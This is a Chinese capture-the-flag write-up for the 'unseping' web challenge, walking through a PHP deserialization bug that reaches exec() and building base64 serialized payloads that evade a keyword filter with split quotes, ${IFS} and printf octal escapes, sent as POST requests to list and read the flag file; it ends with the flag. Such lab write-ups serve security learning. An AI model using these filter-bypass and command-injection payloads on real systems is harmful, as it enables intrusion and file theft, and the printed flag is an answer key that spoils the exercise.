Web:攻防世界unseping
目录
一、初见
二、解题步骤
一、初见
刚拿到这个题目,可以发现是一串PHP代码,关注到unserialize(base64_decode($ctf))函数,就知道是考php反序列化。
审计PHP类ease:
__construct($method, $args) :构造器需要传入两个参数。
__destruct():对象被销毁时候调用,可以看见这个函数的作用是判断method是否等于ping,等于则调用回调函数。回调函数的作用是将$this->args参数传参到函数$this->method(也就是ping)。
ping($ip):内部调用exec($ip, $result)函数,这是一个 PHP 内置函数,用于执行外部程序或系统命令,带有两个参数,前一个是执行外部程序或系统命令,第二个参数是把执行结果存储,通常该参数是数组。
var_dump($result):是输出变量的详细信息,也就是把命令执行的结果输出。
waf($str):该方法是正则匹配过滤非法字符。
__wakeup():是调用unserialize(base64_decode($ctf))时会调用的函数,作用是遍历数组,调用waf函数过滤非法字符。
分析可得:该代码的运行顺序是
1、POST方法接收一个CTF参数值
2、调用反序列函数unserialize(base64_decode($ctf))
3、调用__construct()
4、调用wakeup函数
5、调用waf函数
6、调用__destruct()
7、调用ping函数
因为有exec命令,所以我们要构思如何让代码执行系统命令ls和cat进行查找和打开文件。可以发现对ls、cat、/、等都有过滤。我们可以通过八进制编码绕过或者Shell内置变量${IFS}等。为了调用ping函数,所以构造函数的第一个参数必须是ping。
二、解题步骤
有了思路开始构造序列化代码(反序列化的前提必须有反序列化),序列化代码必须包含类的定义。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
//var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=new ease("ping",array('1234'));
echo base64_encode(@serialize($ctf));
?>
这串代码获得了base64加密的$ctf对象的序列串,如下图所示。
但这里我们还没有使用系统命令(给数组放入系统命令),尝试过滤写入,构造POST请求包。
$ctf=new ease("ping",array('l""s'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
运行结果:
可以发现flag,推测是个文件夹,继续构造。
$ctf=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
看到flag文件,构造cat命令,尝试打开。
$ctf=new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
最终发现flag:cyberpeace{e736ed0923c4a11df9eda0d29bcb6bdf}